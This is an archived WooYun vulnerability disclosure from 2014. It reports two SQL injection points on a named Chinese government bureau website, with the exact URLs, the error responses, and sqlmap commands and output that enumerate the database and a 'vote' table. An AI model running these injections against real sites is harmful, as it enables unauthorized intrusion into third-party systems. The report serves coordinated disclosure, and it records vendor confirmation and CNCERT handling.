当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070656

漏洞标题:某管理局网站SQL注入导致数据库泄露

相关厂商:zbglj.com

漏洞作者: 进击的zjx

提交时间:2014-08-02 18:24

修复时间:2014-09-16 18:26

公开时间:2014-09-16 18:26

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-02: 细节已通知厂商并且等待厂商处理中
2014-08-07: 厂商已经确认,细节仅向厂商公开
2014-08-17: 细节向核心白帽子及相关领域专家公开
2014-08-27: 细节向普通白帽子公开
2014-09-06: 细节向实习白帽子公开
2014-09-16: 细节向公众公开

简要描述:

存在SQL注入漏洞,能注入得到数据库信息

详细说明:

注入点1
http://www.zbglj.com/Bs_NetBookRe.asp?id=85
id为盲注注入点
加个引号'测试 http://www.zbglj.com/Bs_NetBookRe.asp?id=85'
返回

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/Bs_NetBookRe.asp,行 18


明显存在注入。
注入点2
http://www.zbglj.com/page2.asp?strtype=5&type=lz
type为盲注注入点
同上加上引号'测试http://www.zbglj.com/page2.asp?strtype=5&type=lz'
返回

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/page2.asp,行 364


存在注入。

漏洞证明:

下面放到sqlmap工具里跑下

C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:28:59
[21:29:00] [INFO] resuming back-end DBMS 'microsoft access'
[21:29:00] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=85 AND 1124=1124
---
[21:29:00] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[*] shutting down at 21:29:00
C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85 --ta
bles
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:29:18
[21:29:18] [INFO] resuming back-end DBMS 'microsoft access'
[21:29:18] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=85 AND 1124=1124
---
[21:29:19] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[21:29:19] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[21:29:19] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[21:29:19] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[21:29:19] [INFO] retrieved:
[21:29:23] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[21:29:23] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[21:29:23] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[1 table]
+------+
| vote |
+------+
C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85 -T
ote --columns
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 21:40:34
[21:40:34] [INFO] resuming back-end DBMS 'microsoft access'
[21:40:34] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=85 AND 1124=1124
---
[21:40:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[21:40:38] [ERROR] cannot retrieve column names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
Table: vote
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| homepage | non-numeric |
| id | numeric |
| name | non-numeric |
| title | non-numeric |
+----------+-------------+


修复方案:

过滤一些字符……预编译……等等

版权声明:转载请注明来源 进击的zjx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-07 09:27

厂商回复:

最新状态:

2014-08-08:补充之前处置情况:CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给山东分中心,由山东分中心后续协调网站管理单位处置。